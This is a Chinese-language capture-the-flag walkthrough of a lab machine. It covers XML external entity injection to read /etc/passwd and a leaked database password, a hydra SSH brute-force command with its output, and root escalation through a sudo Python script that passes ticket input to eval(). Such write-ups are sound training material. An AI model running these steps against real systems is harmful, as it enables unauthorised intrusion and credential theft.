首先用nmap扫描靶机开放了那些端口和服务
22就不爆破了,来访问80端口试试
点着点着就来到了一个页面
随便试了一下,开始抓包
Data是一串被编码的字符串他是先用的bases64加密之后在用url编码加密,解出来之后是个xml的实体
这个就是试试xml实体注入了
xml实体注入,先把代码写出来在加密之后发送给服务器
- 第1行是一个 XML 文档声明,告诉解析器这是一个 XML 文件。
- 第2-4行是 DTD,调用了一个外部实体,将本机 test.txt 文件的内容赋值给实体test。此处造成了XML实体注入攻击。
- 最后一行是输出实体的值
在编码之后发送给服务器
这样就证明了xml实体注入的存在,而且获取到了passwd文件知道了服务器的用户名,这里陷入了僵局,不知道咋办了,在看了教程之后明白了要读取db.php看名字就和数据库有关
返回了一串加密字符串我们解密看看
是个连接数据库的php代码
// TODO -> Implement login system with the database.$dbserver = "localhost";$dbname = "bounty";$dbusername = "admin";$dbpassword = "m19RoAU0hP41A1sTsq6K";$testuser = "test";?>
用密码尝试登录admin和test用户没有成功,我门在passwd里面获得了用户名可以用这个密码爆破一波
┌──(root💀kali)-[/tools]└─# cut -d : -f 1 passwd.txt >user
得到用户名文本user,现在用hydra爆破用户名
┌──(root💀kali)-[/tools]└─# hydra -L /tools/user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh
爆破成功得到用户名密码
[22][ssh] host: 10.10.11.100 login: development password: m19RoAU0hP41A1sTsq6K
登录服务器查看权限
普通用户权限,尝试提权
sudo -l 之后发现它可以无密执行一个python文件和python3.8的环境,我们打开文件看看是一个python脚本
#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file. def load_file(loc):\\判断文件是否是md后缀 if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit() def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0:\\判断文件第一行是否是# Skytrain Inc if not x.startswith("# Skytrain Inc"): return False continue if i == 1:\\同上 if not x.startswith("## Ticket to "): return False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue if x.startswith("__Ticket Code:__"):\\判断__Ticket Code:__在第几行 code_line = i+1 continue if code_line and i == code_line: if not x.startswith("**"):\\判断地四行开头是否有** return False ticketCode = x.replace("**", "").split("+")[0]\\取这一行**和+中间的数字 if int(ticketCode) % 7 == 4:\\ ticketCode和7取余等于4 validationNumber = eval(x.replace("**", ""))\\用eval()执行**后面的命令 print(validationNumber) if validationNumber > 100: return True else: return False return False def main(): fileName = input("Please enter the path to the ticket file.") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result):\\判断result是否为ture print("Valid ticket.") else: print("Invalid ticket.") ticket.close main()
这里我对代码进行了注释,方便理解,我们构造一个asd.md文件
这里使and后面的执行等于falsh从而给代码返回1414是的函数return一个true
我们在kali监听并在靶机执行脚本
成功返回root权限的shell,之后获取flag,取得胜利!!